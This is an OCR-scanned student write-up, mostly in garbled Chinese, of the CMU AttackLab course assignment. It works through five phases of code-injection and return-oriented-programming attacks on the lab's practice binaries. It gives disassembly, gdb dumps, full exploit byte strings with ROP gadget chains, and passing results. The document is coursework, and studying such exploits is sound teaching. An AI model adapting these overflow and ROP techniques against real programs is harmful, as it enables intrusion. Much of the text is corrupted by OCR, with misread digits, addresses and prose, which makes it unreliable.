AttackLab

1164 3553 2016011446

AttackLab
Phase1
Phase2
Phase3
Phase4
Phase5

00000000004017F5 <getbuf>:

4017f5:
4017f9:
4017fc:
401801:
401806
40180a:

BUFFER_SIZE JJ 0x38, 56 MFfFF, HILS56MNFRFZEHI8 M bittFifEK HuR B,

48
48
e8
b8
48
c3

83
89
7e
o1
83

ec 38
e7

02 00
00 00
c4 38

T touchl ERENIE:

00
00

000000000040180b <touchl>:

40180b:
40180f:
401816:
401819:
40181le:
401823:
401828:
40182d:
401832:

48
c7
00
bf
e8
bf
e8
bf
e8

83
05
00
03
ad
o1
97
00
19

ec 08
03 2d
00

31 40
f4 £
00 00
04 00
00 00
f6 ff

20 00 01

00
£f
00
00
00
£f

MIEEES phasel.txt T

sub
mov
callqg
mov
add
retq

sub
mov1l

mov
callqg
mov
callq
mov
callqg

$0x38,% rsp
%rsp,%rdi
401a7f <Gets>
$0x1,% eax
$0x38,% rsp

$0x8,% rsp
$0x1,0x202d03(% rip)

$0x403103,% edi
400cdo <puts @plt>
$0x1,%edi

401cc4 <validate>
$0x0,%edi

400e50 <exit @plt>

# 60451c <vlevel>


af://n0
af://n46

41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
Ob 18 40 00 00 00 00 00

FEA®S ./hex2raw < phasel.txt > 2016011446.ctarget.11 ; ./ctarget -q -i 2016011446.ctarget.1l1
INTER:

Cookie: @x47db4de3a
Touchl!: You called touchl()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:

user id liu

course 15213-f15

lab attacklab

result 2:PASS:Oxffffffff:ctarget:1:41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 0B 18 40 00 00 00 00 00

i~ fwlxt/wiy/iLRIE=IEF i1t (0)(2017-2018EFF ) Jattack/target2 . /hex2raw
phasel.txt > 2016011446.ctarget.11; ./ctarget -q -i 2016011446.ctarget.l1
Cookie: 8x47db4e3a
Touch1!: You called touchi()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:

user id 1liu

course 15213-f15

lab attacklab

result 2:PASS:Oxffffffff:ctarget:1:41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

Phase2

5Phase1Z, RARITEE %rdi BB AL cookie.txt HHY ox47dbdesa , HTFHRMUEFE (GE&HASLR) , X
—H EEIRENE E ML,

FBEWHH phase2.s WF (cookiefE)N oxa7dbie3a )

movq $0x47dbde3a, %rdi
retq

FERGS gcc -c phase2.s; objdump -d phase2.o0 > phase2.d BEIXH phase2.d mnr:


af://n20

phase2.0: NHET elf64-x86-64

Disassembly of section .text:

00000000V < .text>:
0: 48 c7 c7 3a 4e db 47 mov $0x47dbde3a, % rdi
7: c3 retq

BEHITAI 48 c7 c7 3a 4e db 47 c3 o

BEE touch2 EREMCREINT:

0000000000401837 <touch2>:
401837: 48 83 ec 08 sub $0x8,%rsp

HEFEMEERMAL, FHEGS gdb ctarget FTHgdbZFIBETT
b getbuf

r-q
n

HITE] ox4017f5 <getbuf+8> sub rsp, 0x38 Zf5, %rsp HIEA 0x55652778 , I TFFR:

gef> n
14 in buf.c

[ registers ]——

$rax . OX000000VVVVVOO

$rbx . Ox00000PVO55586000 — ©Ox0VOLLRLVO55586000

$rcx . Ox0000000VVOC

$rdx : Ox00007ffff7dd3780 - 0x00007ffff7dd3780

$rsp . OXx0000000055652778 — 0Ox000000VVVVVVOT4

$rbp : OX0000000055685fe8 — 0Ox0000000000402fe5 — ©x32a6968003a697168 ( "hgi:"?)
$rsi . 0xX000000000000000C

$rdi . Ox000000000V60601Cc — 0©x000a613365346264 ( "dbde3a"?)

$rip . Ox00000000004017f9 — <getbuf+4> mov rdi, rsp

$r8 . OX00007ffff7fb3700 — 0x00007ffff7fb3700 -~ [loop detected]
$r9 . Ox0000000VVLVOC

$rie . Ox00000000004032f4 -~ "Type string:"

$ri1 : OX00007ffff7b7f970 - <__memset_avx2+0> vpxor xmm@, xmm@, Xxmmo
$ri12 . Ox00000000000VV002

$ri3 . 0X000000000VVVOO

$ria . OX000000VVVVVOO

$ris5 . OXx000000VVVVVO

$cs 1 9x0000000000000033

$ss . ©x000000000000002b

$ds . Ox00000VVVLVVVO

$es : Ox000000VVVVVOO

$fs . Ox00000000VVVVO

$gs . Ox000000VVVVOO

$eflags: [carry PARITY ADJUST zero sign trap INTERRUPT direction overflow resume virtualx86

identification]

[ stack ]——



0Xx00000P0055652778 | +0x00: Ox000000P0000R0 T4 ~ $rsp
0x0000000055652780 | +0x08: ©x00000000556527d0 oxfafafafafafafafa
0x0000000055652788 | +0x10: ©x0000000055652788
0X000000P0055652790 |+0x18: ©x0OOBAR055652790
0Xx00000P0055652798 | +0x20: Ox0OOVRRRO55652798
Ox00000000556527a0 |+0x28: ©x00000000556527a0
0X00000PP0556527a8 | +0x30: ©x00OBAR055586000 0x0000000055586000
0Xx00000000556527b0 | +0x38: Ox00000000004019c4 <test+14> mov edx, eax
[ code:i386:x86-64 ]——
0x4017e0 <scramble+1149> xor rsi, QWORD PTR fs:0x28
0x4017e9 <scramble+1158> je 0x4017f0 <scramble+1165>
0x4017eb <scramble+1160> call ©x400cf@ < _ stack_chk_fail @plt>
0x4017f0 <scramble+1165> add rsp, 0x38
0x4017f4 <scramble+1169> ret
0x4017f5 <getbuf+0> sub rsp, 0x38
- 0x4017f9 <getbuf+4> mov rdi, rsp

0x4017fc <getbuf+7>

call ox401a7f <Gets>

0x401801 <getbuf+12> mov eax, ox1
0x401806 <getbuf+17> add rsp, 0x38
0x40180a <getbuf+21> ret
0x40180b <touchl+0> sub rsp, 0x8
[ threads ]——
[#0] Id 1, Name: "ctarget", stopped, reason: SINGLE STEP
[ trace ]——

[#0] Ox40179
[#1] ©x4019c4
[#2] ©x401f5b

!

!

I

Name: getbuf()
Name: test()
Name: launch(offset=<optimized out>)

[#3] 0x402031 - Name: stable_launch(offset=<optimized out>)

MEWERES phase2.txt T

48 c7 c7 3a 4e db 47 c3
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
78 27 65 55 00 00 00 00
37 18 40 00 00 00 00 00

Hh%—4TH phase2.s HINESHS, 2-71THER, 81T %rsp Hullk, 917/ touch2 Hillk, BITEFIEAN
buffer, EHBUREHINESN ox55652778 , E—4RIR[EIMINES ex401837 , BHIZEEXR EHITIED 48 7 ¢7 3a 4e
db 47 c3 18R %rdi , R[EIE ox401837 , AR touch2 o

FAS . /hex2raw < phase2.txt > 2016011446.ctarget.12 ; ./ctarget -q -i 2016011446.ctarget.12

WNTREER:

=2



n+e:~/wlxt/wijy/ CARIBSIEFIRIT(0) (2017-2018 E=FH) /attack/target2 ./hex2raw < phase2.txt >
2016011446 .ctarget.12; ./ctarget -q -1 2016011446 .ctarget.12
Cookie: ©@x47dbde3a
Touch2!: You called touch2(@x47dbde3a)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:

user id 1liu

course 15213-f15

lab attacklab

result 2:PASS:oxffffffff:ctarget:2:48 C7 C7 3A 4E DB 47 C3 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 78 27 65 55 00 00 00 00 37 18 40 00 00 00 00 00

i~fwixt/uiy/iLERIES EFi1g1T (0)(2017-2018 B =1l ) /attack/target2 . /hex2raw <
phase2.txt = 2016011446.ctarget.l2; ./ctarget -q -1 2016011446.ctarget.12
Cookie: 0x47db4e3a
Touch2!: You called touch2(@x47db4e3a)
alid solution for level 2 with target ctarget
PASS: Would have posted the following:

user id liu
course 15213-f15
lab attacklab
result 2:PASS:Oxffffffff:ctarget:2:48 C7 C7 3A 4E DB 47 C3 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 78 27 65 55 00 00 60 600 37 1

Phase3

AiEBEFEPhase2, IAIEBERIBE %rdi MBFHAIET, HiAcookieNFHFRT, EFEEETRIL
hexmatch FERIBEREXRFIRFEMBUE, RW T UM EZRIRRELcookieF AT RMERAHE, BRIIER
BERIH,

MIEEES phase3.txt T

48 c7 c7 c@ 27 65 55 c3
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
78 27 65 55 00 00 00 00
48 19 40 00 00 00 00 00
34 37 64 62 34 65 33 61

HAE—1TH

movq $0x556527c0, % rdi
ret


af://n27

EPhase2”d, BEHR1EF T buffertEik LRI E N oxs55652778 , ERRUEBNRIEENT72,
0255652778 4- 72 = 02556527c0, XIFE—RITHNKEL hexmatch BIBHE sval 35[M 0x556527c0 , XPMIE
LEENRE FRE 47dvdeda , FHFEEZEHRIERASESIE ZRIEUE,

{FHA®< ./hex2raw < phase3.txt > 2016011446.ctarget.13 ; ./ctarget -q -i 2016011446.ctarget.13 5Z!
LN

n+e:~/wlxt/wijy/ CARIBSIEFIRIT(0) (2017-2018 E=FH) /attack/target2 ./hex2raw < phase3.txt >
2016011446 .ctarget.13; ./ctarget -q -1 2016011446 .ctarget.13
Cookie: @x47dbde3a
Touch3!: You called touch3( "47db4e3a")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:

user id 1liu

course 15213-f15

lab attacklab

result 2:PASS:oxffffffff:ctarget:3:48 C7 C7 CO 27 65 55 C3 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 78 27 65 55 00 00 00 00 48 19 40 00 00 00 00 00 34 37 64 62 34 65 33 61

s~ WXt fwi 1SS 1=F (0)(2017-2018E ZFFHH) Jattack/target2 ./hex2raw <
phase3.txt = 2@10011440 ctarget.13; ./ctarget -q -i 2016011446.ctarget.13
Cookie: 8x47dbde3a
Touch3!: You called touch3("47dbd4e3a")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:

user id liu

course 15213-f15

lab attacklab

result 2:PASS:@xffffffff:ctarget:3:48 C7 C7 €O 27 65 55 C3 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 4
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 78 27 65 55 00 00 00 00 48
9 40 00 00 00 00 00 34 37 64 62 34 65 33 61

Phase4

£ rtarget RARFERLHITHRE, HEFTASLR, BEERZRRpdfiVRR, BIUFIA farm.c HFHgarget>RA
BOCRAREEL, ABEE.

{EFE®< objdump -d rtarget > rtarget.d REIRCHRIES rtarget.d o BE getbuf REEIIEZ
BUFFER_SIZE=0x38 o

REEEEBcookieFEIRHANEMIE, REINREERE pop %rdi ZEEIZFHN touch2 HRKEEIE], FJE7E
gargetdi&H pop %rdi , FIMFESHZER, BEEGAIE pop %rax F movq %rax, %rdi FA)E, BILAHHE
Ko

NS EHEH phased.txt T


af://n32

41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
fe 19 40 00 00 00 00 00
3a 4e db 47 00 00 00 00
ed 19 40 00 00 00 00 00
37 18 40 00 00 00 00 00

Hrh ox4019fe § 58 3 , XIRLCRAIDA pop %rax; ret ; oxa7dbde3a JJcookie; ox4019ed A movq
%rax, %rdi; ret ; ox401837 A touch2 R Ebt,

{FEA®S ./hex2raw < phase4.txt > 2016011446.rtarget.11 ; ./rtarget -q -i 2016011446.rtarget.11 5%
WTFER:

n+e:~/wlxt/wiy/ CARIBSIERFIRIT(0) (2017-2018 EZ=FHf) /attack/target2 ./hex2raw < phase4.txt >
2016011446 .rtarget.11; ./rtarget -q -i 2016011446 .rtarget.1l1
Cookie: @x47dbde3a
Touch2!: You called touch2(0x47dbde3a)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:

user id 1liu

course 15213-f15

lab attacklab

result 2:PASS:oOxffffffff:rtarget:2:41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 FE 19 40 00 00 00 00 00 3A 4E DB 47 00 00 00 00 ED 19 40 00 00 00 00 00
37 18 40 00 00 00 00 00

i~ fwixtfuwjy/ILERIBE /R8T (0)(2017-2018 EZF B ) Jattack/target2 . /hex2raw <
phased4.txt > 2816011446.rtarget.11; .frtarget -q -1 2016011446.rtarget.11
Cookie: 0x47db4e3a
Touch2!: You called touch2(0x47db4e3a)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:

user id 1liu

course 15213-f15

lab attacklab

result 2:PASS:Oxffffffff:rtarget:2:41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 FE 19 40 00 00 00 06 660 3A 4
E DB 47 00 00 00 60 ED 19 40 00 00 00 00 00 37 18 40 00 00 00 00 00

Phase5

REEER: FREX %rsp IEMABVHINE, FERENFTEST, HRINEBEEE offset FHEIEMcookieMIE, ARG
H touch3, [APhase3, cookie EEHKZ stack &=/Go

ERCCRARB AR


af://n314

movq %rsp, %rdi

movq offset, %rsi

leaq (%rdi, %rsi, 1), %rax
movq %rax, %rdi

callg touch3

"cookie"

¥ mlgargetil .

movq %rsp, %rax
movq %rax, %rdi
pop %rax

offset 0x48

movl %eax, %ecx
movl %ecx, %edx
movl %edx, %esi
leaq (%rdi, %rsi, 1), %rax
movq %rax, %rdi
0x401948 <touch3>
"47db4e3a"

HTF movq %rsp, %rax HITTZEZEIE pop EBREBITIEA Elcookie, HlLtoffsety 8*9=72-0x48 ,

MEERES phases.txt AT

41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
b4 1a 40 00 00 00 00 00
f4 19 40 00 00 00 00 00
fe 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
2e la 40 00 00 00 00 00
9f 1a 40 00 00 00 00 00
49 1la 40 00 00 00 00 00
21 1la 40 00 00 00 00 00
f4 19 40 00 00 00 00 00
48 19 40 00 00 00 00 00
34 37 64 62 34 65 33 61

ER QLTS

A< ./hex2raw < phase5.txt > 2016011446.rtarget.12 ; ./rtarget -q -i 2016011446.rtarget.12
W

N

dim
WY



n+e:~/wlxt/wijy/ CERIBSIEFIRIT(0) (2017-2018 E=FH) /attack/target2 ./hex2raw < phase5.txt >
2016011446 .rtarget.12; ./rtarget -q -1 2016011446 .rtarget.12
Cookie: ©@x47dbde3a
Touch3!: You called touch3( "47db4e3a")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:

user id 1liu

course 15213-f15

lab attacklab

result 2:PASS:Oxffffffff:rtarget:3:41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 B4 1A 40 00 00 00 00 00 F4 19 40 00 00 00 00 00 FE 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00 2E 1A 40 00 00 00 00 00 9F 1A 40 00 00 00 00 00 49 1A 40 00 00 00 00
00 21 1A 40 00 00 00 00 00 F4 19 40 00 00 00 00 00 48 19 40 00 00 00 00 00 34 37 64 62 34 65
33 61

i~ fwlxt/wiy/iLERIS S ER (0)(2017-2018 58 ~HH) /attack/target2 ./hex2raw <
phase5.txt = 2@10011440 rtarget.l2; ./rtarget -q -i 2016011446.rtarget.12

Cookie: 0x47db4e3a

Touch3!: You called touch3("47dbd4e3a")

alid solution for level 3 with target rtarget

PASS: Would have posted the following:
user id liu
course 15213-f15

lab attacklab
result 2:PASS:0xffifffff:rtarget:3:41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 B4 1A 40 00 00 00 00 00 F4 1
9 40 00 00 00 00 00 FE 19 40 00 00 0O 0O 0O 48 00 OO0 OO OO 00 00 0O 2E 1A 40 00
00 60 00 00 9F 1A 40 00 0O 0O 00 €O 49 1A 40 00 00 0O 0O 0O 21 1A 40 00 00 60 6O
00 F4 19 40 00 60 00 0O 0O 48 19 40 00 00 60 00 60 34 37 64 62 34 65 33 61
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